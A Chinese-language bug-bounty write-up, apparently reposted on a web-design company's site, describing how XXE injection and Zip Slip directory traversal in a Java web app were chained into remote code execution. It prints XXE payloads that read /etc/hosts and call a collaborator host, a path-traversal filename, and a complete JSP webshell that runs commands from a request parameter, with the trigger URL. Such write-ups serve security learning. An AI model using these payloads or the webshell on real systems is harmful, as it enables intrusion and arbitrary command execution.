今天就跟大家聊聊有關(guān)如何利用XML和ZIP格式解析漏洞實(shí)現(xiàn)RCE，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結(jié)了以下內(nèi)容，希望大家根據(jù)這篇文章可以有所收獲。

創(chuàng)新互聯(lián)建站專注于企業(yè)成都全網(wǎng)營銷、網(wǎng)站重做改版、巴州網(wǎng)站定制設(shè)計(jì)、自適應(yīng)品牌網(wǎng)站建設(shè)、H5網(wǎng)站設(shè)計(jì)、商城網(wǎng)站定制開發(fā)、集團(tuán)公司官網(wǎng)建設(shè)、成都外貿(mào)網(wǎng)站建設(shè)公司、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁設(shè)計(jì)等建站業(yè)務(wù)，價(jià)格優(yōu)惠性價(jià)比高，為巴州等各大城市提供網(wǎng)站開發(fā)制作服務(wù)。

在該篇Writeup中，作者通過利用XXE和ZIP文件目錄遍歷漏洞，在目標(biāo)Web應(yīng)用系統(tǒng)中成功創(chuàng)建了Webshell，實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行（RCE）。

目標(biāo)Web應(yīng)用情況

在參與某個眾測項(xiàng)目過程中我遇到了一個Web應(yīng)用，它可以執(zhí)行某種通用文件類型的處理，這里我們暫且把該種文件類型稱為.xyz吧，通過Google查找，我發(fā)現(xiàn)這種.xyz文件類型其實(shí)就是包含了XML和其它多媒體內(nèi)容的ZIP打包文件，其中的XML文件相當(dāng)于一個清單，用于描述包內(nèi)內(nèi)容。

這就是我們通常用的打包模式，比如，如果你用unzip命令去把一個.docx文件解包，運(yùn)行unzip Document.docx命令之后，我們可以看到以下內(nèi)容：

Archive:  Document.docx  inflating: [Content_Types].xml       inflating: _rels/.rels               inflating: word/_rels/document.xml.rels    inflating: word/document.xml         inflating: word/theme/theme1.xml     inflating: word/settings.xml         inflating: docProps/core.xml         inflating: word/fontTable.xml        inflating: word/webSettings.xml      inflating: word/styles.xml           inflating: docProps/app.xml

另一種常見的打包解包方式就是.apk文件，它其實(shí)就是一個包含了一個AndroidManifest.xml和其它內(nèi)容的ZIP包文件。然而，如果開發(fā)人員在應(yīng)用部署過程中經(jīng)驗(yàn)不足，那么，上述提到的打包機(jī)制就會產(chǎn)生安全問題。本質(zhì)上來說，這些“問題”或“漏洞”實(shí)際上是XML和ZIP構(gòu)建格式特性導(dǎo)致的，關(guān)鍵在于XML和ZIP解析器如果去處理操作不同格式的特性。但不幸的是，出現(xiàn)漏洞的情況時有發(fā)生，尤其是開發(fā)人員在使用默認(rèn)配置的場景下。在此，我們先來了解一下XML和ZIP格式可以導(dǎo)致漏洞的“特性”。

XML External Entities XML外部實(shí)體注入漏洞

XML文件支持外部實(shí)體（external entity），外部實(shí)體的作用是可以讓XML文件從本地或遠(yuǎn)程的其它源地址加載提取文件，某些情形下，因?yàn)槟芊奖愕貜牟煌吹刂穼?dǎo)入數(shù)據(jù)，所以這種功能非常有用。但是，如果其中的XML解析器配置不當(dāng)，可以讓用戶自行聲明定義外部實(shí)體輸入，那么，嚴(yán)重攻擊者就能從當(dāng)前服務(wù)端的本地或內(nèi)部獲取敏感數(shù)據(jù)，或執(zhí)行惡意操作。我們稱它為XXE外部實(shí)體注入攻擊，其實(shí)說白了還是默認(rèn)配置的問題。

OWASP是這樣定義XXE攻擊的：

XML外部實(shí)體攻擊是一種針對解析XML格式應(yīng)用程序的攻擊類型之一，此類攻擊發(fā)生在當(dāng)配置不當(dāng)?shù)腦ML解析器處理指向外部實(shí)體的文檔時，可能會導(dǎo)致敏感文件泄露、拒絕服務(wù)攻擊、服務(wù)器端請求偽造、端口掃描（解析器所在域）和其他系統(tǒng)影響。采用了XML庫的JAVA應(yīng)用通常存在默認(rèn)的XML解析配置，因此容易受到XXE攻擊。為了安全的使用此類解析器，可以在一些解析機(jī)制中禁用XXE功能。

ZIP目錄遍歷漏洞  

由于ZIP格式的問題導(dǎo)致ZIP目錄遍歷漏洞在早期就被利用，但2018年Snyk披露的Zip Slip漏洞尤為引人關(guān)注，Zip Slip漏洞可能會造成任意文件被覆寫，很多流行的ZIP解析庫和JAVA項(xiàng)目都受到該漏洞影響。

攻擊者可以利用該漏洞構(gòu)造一個特制的ZIP壓縮文件，在其中包含進(jìn)可對目錄進(jìn)行遍歷的文件名，如../../../../evil1/evil2/evil.sh，當(dāng)存在漏洞的ZIP庫對該特制ZIP包進(jìn)行unzip解包時，不僅會把evil.sh解壓到一個臨時目錄，還可以把它解壓到一個由攻擊者指定的位置（如這里的/evil1/evil2），可導(dǎo)致惡意文件被寫入磁盤，或是敏感文件被覆寫。如果定時任務(wù)腳本cron job被覆寫或root目錄被植入webshell，最終結(jié)果就可形成遠(yuǎn)程代碼執(zhí)行。和XXE注入漏洞類似，ZIP目錄遍歷漏洞在JAVA應(yīng)用中也普遍存在。

Zip Slip漏洞影響多種開發(fā)生態(tài)系統(tǒng)，包括JavaScript、Ruby、.NET 和 Go，以及一些缺乏處理高級壓縮包中心庫（如zip）的JAVA項(xiàng)目中，此類壓縮包處理庫的缺失，導(dǎo)致一些漏洞代碼片段在StackOverflow等開發(fā)社區(qū)中共享流傳。

發(fā)現(xiàn)XXE注入漏洞

現(xiàn)在，有了以上的了解認(rèn)識之后，我們回到實(shí)際的漏洞測試中來。目標(biāo)Web應(yīng)用接收通用類型文件的上傳、解壓、XML清單文件解析，之后會返回一個包含XML清單信息的確認(rèn)頁面。比如，如果ZIP文件mypackage.xyz包含以下manifest.xml清單文件：

<?xml version="1.0"?><packageinfo>    <title>My Awesome Package</title>    <author>John Doe</author>    <documentation>https://google.com</documentation>    <rating>4.2</rating></packageinfo>

上傳mypackage.xyz至目標(biāo)Web應(yīng)用之后，我會得到以下確認(rèn)頁面：

這里，我首先測試的是XSS漏洞。有一點(diǎn)要注意的是，因?yàn)?lt;htmltags>標(biāo)簽會被解析為XML節(jié)點(diǎn)，所以XML形式的XSS注入不支持<htmltags>，必須要在XML文件中對其進(jìn)行轉(zhuǎn)義，如“&amplt;htmltags&ampgt;”，但不幸的是，目標(biāo)Web應(yīng)用對這種轉(zhuǎn)義的輸出做了過濾。

那我們就來試試XXE注入漏洞吧，以下我在XML文件中引入了一個遠(yuǎn)程外部實(shí)體：

<?xml version="1.0"?><!DOCTYPE title [<!ENTITY xxe SYSTEM 'https://mycollab.burpcollaborator.net'>]><packageinfo>    <title>My Awesome Package&ampxxe;</title>    <author>John Doe</author>    <documentation>https://google.com</documentation>    <rating>4.2</rating></packageinfo>

在我的Burp Collaborator實(shí)例中并沒有返回任何回顯，剛開始我想著是不是XXE漏洞被攔截阻斷了。但其實(shí)不然。XXE Payload相關(guān)的非系統(tǒng)外部實(shí)體、本地文件、遠(yuǎn)程文件我們都需要一一嘗試才能證明XXE漏洞是否存在。畢竟，如果目標(biāo)Web應(yīng)用部署了防火墻，其標(biāo)準(zhǔn)的防火墻規(guī)則會阻止傳出的網(wǎng)絡(luò)連接，導(dǎo)致遠(yuǎn)程外部實(shí)體解析失敗，但我們可以嘗試看看外部實(shí)體是否可以成功解析讀取本地文件。

幸運(yùn)的是，我用外部實(shí)體構(gòu)造了讀取本地文件的以下XML，其中的/etc/hosts命令竟然在確認(rèn)頁面中成功回顯了：

<?xml version="1.0"?><!DOCTYPE title [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]><packageinfo>    <title>My Awesome Package&ampxxe;</title>    <author>John Doe</author>    <documentation>https://google.com</documentation>    <rating>4.2</rating></packageinfo>

測試RCE

在通常的白帽測試中我們就可能到此為止了，利用上述的XXE漏洞可以獲取目標(biāo)Web系統(tǒng)內(nèi)的本地?cái)?shù)據(jù)文件和其它包括管理密碼在內(nèi)的敏感配置信息了，足夠?qū)懞靡环萋┒磮?bào)告了。

但是，接下來我還想測試另外一個漏洞：ZIP解析漏洞?，F(xiàn)在我們有了這些條件：目標(biāo)Web應(yīng)用會解壓ZIP包、解析讀取其中的manifest.xml清單文件、然后返回一個確認(rèn)頁面，另外還存在一個XXE漏洞，那會不會還有其它未知漏洞呢？

先來測試ZIP目錄遍歷漏洞吧，這里我用到了目錄遍歷Payload生成工具-evilarc，它是一個簡單的Python腳本。我要確定的是把目錄遍歷Payload放到本地文件系統(tǒng)中的具體位置，好在XXE漏洞在此可以幫上忙了，外部實(shí)體對本地文件的讀取不僅限于文件，還可以讀取目錄。所以我構(gòu)造了如file:///nameofdirectory的外部實(shí)體，用它來讀取其中的目錄列表內(nèi)容。

對目錄列表研究一番，我發(fā)現(xiàn)了目標(biāo)Web應(yīng)用系統(tǒng)中的文件/home/web/resources/templates/sitemap.jsp，它與目標(biāo)Web應(yīng)用https://vulnapp.com/sitemap非常相似。于是，我把webshell內(nèi)容放入其中把它進(jìn)行打包，為了防止其被普通用戶發(fā)現(xiàn)，我對它設(shè)置了訪問限制參數(shù)。webshell內(nèi)容如下：

<%@ page import="java.util.*,java.io.*"%><%    if (request.getParameter("spaceraccoon") != null) {        out.println("Command: " + request.getParameter("spaceraccoon") + "<BR>");        Process p = Runtime.getRuntime().exec(request.getParameter("spaceraccoon"));        OutputStream os = p.getOutputStream();        InputStream in = p.getInputStream();        DataInputStream dis = new DataInputStream(in);        String disr = dis.readLine();        while ( disr != null ) {            out.println(disr);             disr = dis.readLine();         }        out.println("<BR>");    }%><ORIGINAL HTML CONTENTS OF SITEMAP>

把這個包含了Webshell的包上傳至目標(biāo)Web應(yīng)用之后，我嘗試用https://vulnapp.com/sitemap?spaceraccooon=ls方式去訪問Webshell，沒任何東西回顯......，頁面和https://vulnapp.com/sitemap一樣。但就像俗話說的：對同一件事情舉一反三且滿懷期待，就是瘋狂。

延遲、緩存和其它網(wǎng)絡(luò)特性可以對同樣的輸入造成不同輸出，這里的情況是，由于目標(biāo)Web服務(wù)端緩存了頁面https://vulnapp.com/sitemap之前的內(nèi)容，所以剛開始無法訪問到我的內(nèi)置webshell，經(jīng)過幾次刷新，終于可以訪問到webshell了，其中的命令ls被成功執(zhí)行，返回了Web根目錄和其它站點(diǎn)頁面信息。RCE成功了！

慣例優(yōu)先原則(Convention over Configuration)

對于很多項(xiàng)目來說，遵從已有慣例或使用合理的默認(rèn)選項(xiàng)大概是最合理簡便的做法。這篇Writeup中的目標(biāo)Web應(yīng)用為JAVA架構(gòu)，綜合OWASP 和 Snyk的漏洞披露可知JAVA在XML和ZIP格式處理存在缺陷，加上一些默認(rèn)的解析機(jī)制和第三方庫，漏洞就如此形成了。

除JAVA架構(gòu)外，幾乎大多編程語言和框架都存在XML和ZIP格式處理問題，開發(fā)人員在配置此類框架和應(yīng)用時需格式注意，一個小的配置錯誤就能導(dǎo)致致命漏洞。

看完上述內(nèi)容，你們對如何利用XML和ZIP格式解析漏洞實(shí)現(xiàn)RCE有進(jìn)一步的了解嗎？如果還想了解更多知識或者相關(guān)內(nèi)容，請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道，感謝大家的支持。

網(wǎng)頁名稱：如何利用XML和ZIP格式解析漏洞實(shí)現(xiàn)RCE
網(wǎng)站網(wǎng)址：http://chinadenli.net/article24/jggjce.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供做網(wǎng)站、品牌網(wǎng)站制作、網(wǎng)站策劃、動態(tài)網(wǎng)站、虛擬主機(jī)、網(wǎng)站設(shè)計(jì)

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明來源： 創(chuàng)新互聯(lián)